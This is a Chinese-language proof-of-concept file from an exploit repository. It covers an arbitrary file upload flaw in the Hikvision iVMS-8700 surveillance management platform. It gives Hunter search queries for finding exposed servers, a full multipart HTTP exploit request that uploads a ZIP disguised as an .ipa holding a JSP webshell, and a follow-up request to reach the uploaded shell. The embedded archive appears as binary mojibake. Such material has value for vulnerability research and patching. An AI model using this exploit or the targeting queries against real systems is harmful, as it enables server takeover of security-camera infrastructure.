POC/wpoc/海康威视/海康威视iVMS综合安防系统/海康威视iVMS-8700综合安防管理平台getPic任意文件上传.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

85 lines
4.3 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 海康威视iVMS-8700综合安防管理平台 getPic任意文件上传
# 一、漏洞简介
海康威视iVMS集中监控应用管理平台是以安全防范业务应用为导向以视频图像应用为基础手段综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统构建的多业务应用综合管理平台。HIKVISION iVMS-8700综合安防管理平台存在任意文件上传漏洞攻击者通过发送特定的请求包可以上传Webshell文件控制服务器。
# 二、影响版本
+ 海康威视综合安防系统iVMS-5000
+ 海康威视综合安防系统 iVMS-8700
+ 海康威视综合安防系统iVMS-5200
# 三、资产测绘
+ hunter`web.body="/views/home/file/installPackage.rar"`||`web.body="/home/locationIndex.action"`
![1691851218187-fa3d0a98-32b2-48ea-a294-7c7f565c20f0.png](./img/tT8w_7HnoiK20c6Y/1691851218187-fa3d0a98-32b2-48ea-a294-7c7f565c20f0-200941.png)
+ 登录页面:
![1691851119101-58fb28dd-18f8-4fca-b027-9931d8ce0111.png](./img/tT8w_7HnoiK20c6Y/1691851119101-58fb28dd-18f8-4fca-b027-9931d8ce0111-915060.png)
![1702013270650-1660293d-021f-41a6-971a-543f1d8f45f9.png](./img/tT8w_7HnoiK20c6Y/1702013270650-1660293d-021f-41a6-971a-543f1d8f45f9-696099.png)
# 四、漏洞复现
1.生成一个压缩文件,目录结构如下。
[output.zip](https://www.yuque.com/attachments/yuque/0/2024/zip/1622799/1709222237243-e5b9be7c-d2be-4914-a958-6913ff81ae5e.zip)
![1702013473674-dacbf15c-db9f-405d-aad7-89d64bc619da.png](./img/tT8w_7HnoiK20c6Y/1702013473674-dacbf15c-db9f-405d-aad7-89d64bc619da-856266.png)
![1702013924779-909124a7-12aa-4d40-93e8-a492fd759f30.png](./img/tT8w_7HnoiK20c6Y/1702013924779-909124a7-12aa-4d40-93e8-a492fd759f30-760894.png)
2. poc
```java
POST /msp/home/upload.action;getPic?&type=ios HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: MicroMessenger
Content-Type: multipart/form-data; boundary=00content0boundary00
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 1288
Connection: close
--00content0boundary00
Content-Disposition: form-data; name="type"
ios
--00content0boundary00
Content-Disposition: form-data; name="file"; filename="stc.ipa"
PKz¦nW test1/test/PKxäVM(?test1/test/.DS_Storeí˜ÁJÃ@Œº˜¥Ë|Ð?ˆe—BÀµÖJ]¤M(ê:ÿãO4™¹¥-
¡Ýµôž,΄÷&y$$ó=®¦ˆ`Æ{C–¾î&‡k| Ä<îñ†ó «ýÏmå_XîÔ_£.g£â½š×ëä¡Üyåý¤¬&|X/ÿ¿ÃùÓ£òëÏÃkù)–‹²ZÌÂ{B!v1\ßo „ûÿ‡ŒÎé&Ú0nédkŽ£3:§›àöˆ¶tB§´£3:§›hÃûX:¡SÚѝCÑÃU”ëÖÿÇð !.
“øÂ6‹,×piúš÷³îº±!N“PK’¦nWtest1/test/PetrelHD.app/PKÓ¤nW¦ ëdjtest1/test/ceshi.jspÈM
Â@ Ы¸)L\„R« —®EOôC#afœ¦íõû³|ïR¥Á9n1´ÍùtÜ·us¨©‹˜v?…5ñM
Ar6}‰kŠü? vÿ†‚ÿ€Þ×{¢ŒߚˆøEÔU×PKt¦nWtest1/PK?z¦nW $test1/test/
œó¯ÚPK?xäVM(?$€)test1/test/.DS_Store
¹,E®ÙPK?’¦nW$0Ttest1/test/PetrelHD.app/
Н!ÚPK?Ó¤nW¦ ëdj$ Štest1/test/ceshi.jsp
ö¨Ë|÷ÚPK?t¦nW$ test1/
*|{ÚPKëD
--00content0boundary00--
```
![1702013640375-50b7b597-ac3d-47fc-9d0b-5a0f46eb0ebe.png](./img/tT8w_7HnoiK20c6Y/1702013640375-50b7b597-ac3d-47fc-9d0b-5a0f46eb0ebe-732434.png)
上传文件位置
```java
GET /msp/upload/ios/{filename}/test1/test/ceshi.jsp HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: MicroMessenger
Connection: close
Cookie: JSESSIONID=9534BB058003BD8772529364EF5E034E
Accept-Encoding: gzip, deflate
```
![1702013781703-4705dcab-3ba9-4e0a-a398-299f29f7f5e1.png](./img/tT8w_7HnoiK20c6Y/1702013781703-4705dcab-3ba9-4e0a-a398-299f29f7f5e1-998648.png)
![1702013887570-7fa4d933-987d-4d21-9949-797bf5b53a2d.png](./img/tT8w_7HnoiK20c6Y/1702013887570-7fa4d933-987d-4d21-9949-797bf5b53a2d-382674.png)
> 更新: 2024-02-29 23:57:17
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ore95852gqp60g63>